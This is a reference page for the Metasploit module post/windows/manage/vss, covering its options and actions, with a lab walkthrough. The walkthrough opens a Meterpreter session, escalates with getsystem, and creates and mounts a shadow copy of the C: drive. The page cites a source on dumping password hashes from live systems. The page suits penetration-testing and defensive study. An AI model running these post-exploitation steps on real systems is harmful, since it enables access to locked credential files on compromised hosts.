Windows Manage Volume Shadow Copies - Metasploit


This page contains detailed information about how to use the post/windows/manage/vss metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Manage Volume Shadow Copies
Module: post/windows/manage/vss
Source code: modules/post/windows/manage/vss.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will perform management actions for Volume Shadow Copies on the system. This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. Works on win2k3 and later.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/vss

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/vss
msf post(vss) > show options
    ... show and set options ...
msf post(vss) > set SESSION session-id
msf post(vss) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/vss")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Overview


This module will perform management actions for Volume Shadow Copies on the system. This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. The session must be running with Administrative privileges and outside of UAC.

Options


DEVICE

Only applicable with the VSS_MOUNT action.

DeviceObject of the shadow copy to mount. This should begin with \\?\GLOBALROOT\Device and must end with a slash (\).

PATH

Only applicable with the VSS_MOUNT and VSS_UNMOUNT actions.

Path to use for mounting the shadow copy.

SIZE

Only applicable with the VSS_SET_MAX_STORAGE_SIZE action.

Size in bytes to set for max storage.

VOLUME

Only applicable with the VSS_CREATE action.

Volume to make a copy of.

Scenarios


Create And Access A Shadow Copy

First, ensure the session is running with elevated privileges and that UAC is not restricting it.

msf6 post(windows/manage/vss) > 
[*] Sending stage (200262 bytes) to 192.168.159.30
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.30:62600) at 2021-01-04 12:09:59 -0500

msf6 post(windows/manage/vss) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > getuid
Server username: DESKTOP-RTCRBEV\Spencer McIntyre
meterpreter > sysinfo 
Computer        : DESKTOP-RTCRBEV
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > background 
[*] Backgrounding session 2...

Next, use the VSS module to the the storage information and then create a shadow copy of the C: drive (the default value).

msf6 post(windows/manage/vss) > vss_get_info 

[*] Volume Shadow Copy service is running.
[*] Software Shadow Copy service not running. Starting it now...
[+] Software Shadow Copy started successfully.
[+] Shadow Copy Storage Data
========================

  Field           Value
  -----           -----
  AllocatedSpace  
  MaxSpace        
  UsedSpace       

[*] Post module execution completed
msf6 post(windows/manage/vss) > set ACTION VSS_CREATE 
ACTION => VSS_CREATE
msf6 post(windows/manage/vss) > run

[*] Volume Shadow Copy service is running.
[*] Software Shadow Copy service is running.
[*] ShadowCopy created successfully
[+] Shadow Copy "{A38B3122-4D7A-4B93-B31B-D1454C2FED4D}" created!
[*] Post module execution completed
msf6 post(windows/manage/vss) >

After creating the shadow copy, list the copies to get the DeviceObject path and mount it.

msf6 post(windows/manage/vss) > vss_list_copies 

[*] Volume Shadow Copy service is running.
[*] Software Shadow Copy service is running.
[*] Getting data for Shadow Copy {A38B3122-4D7A-4B93-B31B-D1454C2FED4D} (This may take a minute)
[+] Shadow Copy Data
================

  Field                Value
  -----                -----
  ClientAccessible     TRUE
  Count                1
  DeviceObject         \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
  Differential         TRUE
  ExposedLocally       FALSE
  ExposedName          
  ExposedRemotely      FALSE
  HardwareAssisted     FALSE
  ID                   "{A38B3122-4D7A-4B93-B31B-D1454C2FED4D}"
  Imported             FALSE
  NoAutoRelease        TRUE
  NoWriters            TRUE
  NotSurfaced          NotSurfacedFALSE
  OriginiatingMachine  DESKTOP-RTCRBEV
  Persistent           TRUE
  Plex                 FALSE
  ProviderID           {B5946137-7B9F-4925-AF80-51ABD60B20D5}
  ServiceMachine       DESKTOP-RTCRBEV
  SetID                {F608494B-C0DB-4462-81B0-12D06A2DD3EB}
  State                12
  Transportable        FALSE
  VolumeName           \\?\Volume{a5e97ffa-0120-4d03-ad47-18a94e9bfb2b}\

[*] Post module execution completed
msf6 post(windows/manage/vss) > set ACTION VSS_MOUNT 
ACTION => VSS_MOUNT
msf6 post(windows/manage/vss) > set DEVICE \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\
DEVICE => \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
msf6 post(windows/manage/vss) > run

[*] Volume Shadow Copy service is running.
[*] Software Shadow Copy service is running.
[*] Creating the symlink...
[+] Mounted successfully
[*] Post module execution completed
msf6 post(windows/manage/vss) >

Finally, interact with the session to access the mounted directory before unmounting it.

msf6 post(windows/manage/vss) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > dir ShadowCopy 
Listing: ShadowCopy
===================

Mode              Size        Type  Last modified              Name
----              ----        ----  -------------              ----
40777/rwxrwxrwx   0           dir   2019-03-19 00:52:43 -0400  $Recycle.Bin
40777/rwxrwxrwx   0           dir   2020-03-31 17:40:05 -0400  Documents and Settings
40777/rwxrwxrwx   0           dir   2019-03-19 00:52:43 -0400  PerfLogs
40555/r-xr-xr-x   4096        dir   2019-03-19 00:52:43 -0400  Program Files
40555/r-xr-xr-x   4096        dir   2019-03-19 00:52:44 -0400  Program Files (x86)
40777/rwxrwxrwx   0           dir   2019-03-19 00:52:44 -0400  ProgramData
40777/rwxrwxrwx   0           dir   2020-03-31 20:39:26 -0400  Recovery
40777/rwxrwxrwx   4096        dir   2020-03-31 20:38:24 -0400  System Volume Information
40555/r-xr-xr-x   4096        dir   2019-03-19 00:37:22 -0400  Users
40777/rwxrwxrwx   16384       dir   2019-03-19 00:37:22 -0400  Windows
100666/rw-rw-rw-  1476395008  fil   2020-03-31 20:38:25 -0400  pagefile.sys
100666/rw-rw-rw-  16777216    fil   2020-03-31 20:38:25 -0400  swapfile.sys

meterpreter > background 
[*] Backgrounding session 2...
msf6 post(windows/manage/vss) > vss_unmount 

[*] Volume Shadow Copy service is running.
[*] Software Shadow Copy service is running.
[*] Deleting the symlink...
[*] Post module execution completed
msf6 post(windows/manage/vss) >

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/vss post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/vss

msf6 post(windows/manage/vss) > show info

       Name: Windows Manage Volume Shadow Copies
     Module: post/windows/manage/vss
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  theLightCosine <[email protected]>

Compatible session types:
  Meterpreter

Available actions:
  Name                      Description
  ----                      -----------
  VSS_CREATE                Create a new VSS copy
  VSS_GET_INFO              Get VSS information
  VSS_LIST_COPIES           List VSS copies
  VSS_MOUNT                 Mount a VSS copy
  VSS_SET_MAX_STORAGE_SIZE  Set the VSS maximum storage size
  VSS_UNMOUNT               Unmount a VSS copy

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  RHOST      localhost        yes       Target address range
  SESSION                     yes       The session to run this module on.
  SMBDomain                   no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBUser                     no        The username to authenticate as
  TIMEOUT    60               yes       Timeout for WMI command in seconds

Description:
  This module will perform management actions for Volume Shadow Copies 
  on the system. This is based on the VSSOwn Script originally posted 
  by Tim Tomes and Mark Baggett. Works on win2k3 and later.

References:
  http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html

Module Options


This is a complete list of options available in the windows/manage/vss post exploitation module:

msf6 post(windows/manage/vss) > show options

Module options (post/windows/manage/vss):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST      localhost        yes       Target address range
   SESSION                     yes       The session to run this module on.
   SMBDomain                   no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   TIMEOUT    60               yes       Timeout for WMI command in seconds

Post action:

   Name          Description
   ----          -----------
   VSS_GET_INFO  Get VSS information

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/vss post exploitation module:

msf6 post(windows/manage/vss) > show advanced

Module advanced options (post/windows/manage/vss):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/vss module can do:

msf6 post(windows/manage/vss) > show actions

Post actions:

   Name                      Description
   ----                      -----------
   VSS_CREATE                Create a new VSS copy
   VSS_GET_INFO              Get VSS information
   VSS_LIST_COPIES           List VSS copies
   VSS_MOUNT                 Mount a VSS copy
   VSS_SET_MAX_STORAGE_SIZE  Set the VSS maximum storage size
   VSS_UNMOUNT               Unmount a VSS copy

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/vss post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/vss) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The <NAME> option is required by the <ACTION.NAME> action.


Here is a relevant code snippet related to the "The <NAME> option is required by the <ACTION.NAME> action." error message:

52:	    # all conditional options are required when active, make sure none of them are blank
53:	    options.each_pair do |name, option|
54:	      next if option.conditions.empty?
55:	      next unless Msf::OptCondition.show_option(self, option)
56:	
57:	      fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank?
58:	    end
59:	
60:	    fail_with(Failure::NoAccess, 'This module requires administrative privileges to run') unless is_admin?
61:	    fail_with(Failure::NoAccess, 'This module requires UAC to be bypassed first') if is_uac_enabled?
62:	    fail_with(Failure::Unknown, 'Failed to start the necessary VSS services') unless start_vss

This module requires administrative privileges to run


Here is a relevant code snippet related to the "This module requires administrative privileges to run" error message:

55:	      next unless Msf::OptCondition.show_option(self, option)
56:	
57:	      fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank?
58:	    end
59:	
60:	    fail_with(Failure::NoAccess, 'This module requires administrative privileges to run') unless is_admin?
61:	    fail_with(Failure::NoAccess, 'This module requires UAC to be bypassed first') if is_uac_enabled?
62:	    fail_with(Failure::Unknown, 'Failed to start the necessary VSS services') unless start_vss
63:	
64:	    send("action_#{action.name.downcase}")
65:	  end

This module requires UAC to be bypassed first


Here is a relevant code snippet related to the "This module requires UAC to be bypassed first" error message:

56:	
57:	      fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank?
58:	    end
59:	
60:	    fail_with(Failure::NoAccess, 'This module requires administrative privileges to run') unless is_admin?
61:	    fail_with(Failure::NoAccess, 'This module requires UAC to be bypassed first') if is_uac_enabled?
62:	    fail_with(Failure::Unknown, 'Failed to start the necessary VSS services') unless start_vss
63:	
64:	    send("action_#{action.name.downcase}")
65:	  end
66:	

Failed to start the necessary VSS services


Here is a relevant code snippet related to the "Failed to start the necessary VSS services" error message:

57:	      fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank?
58:	    end
59:	
60:	    fail_with(Failure::NoAccess, 'This module requires administrative privileges to run') unless is_admin?
61:	    fail_with(Failure::NoAccess, 'This module requires UAC to be bypassed first') if is_uac_enabled?
62:	    fail_with(Failure::Unknown, 'Failed to start the necessary VSS services') unless start_vss
63:	
64:	    send("action_#{action.name.downcase}")
65:	  end
66:	
67:	  def action_vss_create

The DEVICE parameter is incorrect, it should begin with \\?\GLOBALROOT\Device\


Here is a relevant code snippet related to the "The DEVICE parameter is incorrect, it should begin with \\?\GLOBALROOT\Device\" error message:

85:	
86:	  def action_vss_mount
87:	    print_status('Creating the symlink...')
88:	    device = datastore['DEVICE']
89:	    unless device =~ %r{^([/\\])\1\?\1GLOBALROOT\1Device\1([\w\- ]+)\1?$}
90:	      fail_with(Failure::BadConfig, 'The DEVICE parameter is incorrect, it should begin with \\\\?\\GLOBALROOT\\Device\\')
91:	    end
92:	    device << Regexp.last_match(1) unless device.end_with?(Regexp.last_match(1)) # the DEVICE parameter needs to end with / or the link will be created successfully but will not work
93:	
94:	    if create_symlink(datastore['PATH'], device, directory: true)
95:	      print_good('Mounted successfully')

There was a problem updating the storage size


Here is a relevant code snippet related to the "There was a problem updating the storage size" error message:

119:	    store_loot('host.shadowcopies', 'text/plain', session, list, 'shadowcopies.txt', 'Shadow Copy Info')
120:	  end
121:	
122:	  def action_vss_set_max_storage_size
123:	    if vss_set_storage(datastore['SIZE'])
124:	      print_good('Size updated successfully')
125:	    else
126:	      print_error('There was a problem updating the storage size')
127:	    end
128:	  end
129:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • theLightCosine

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.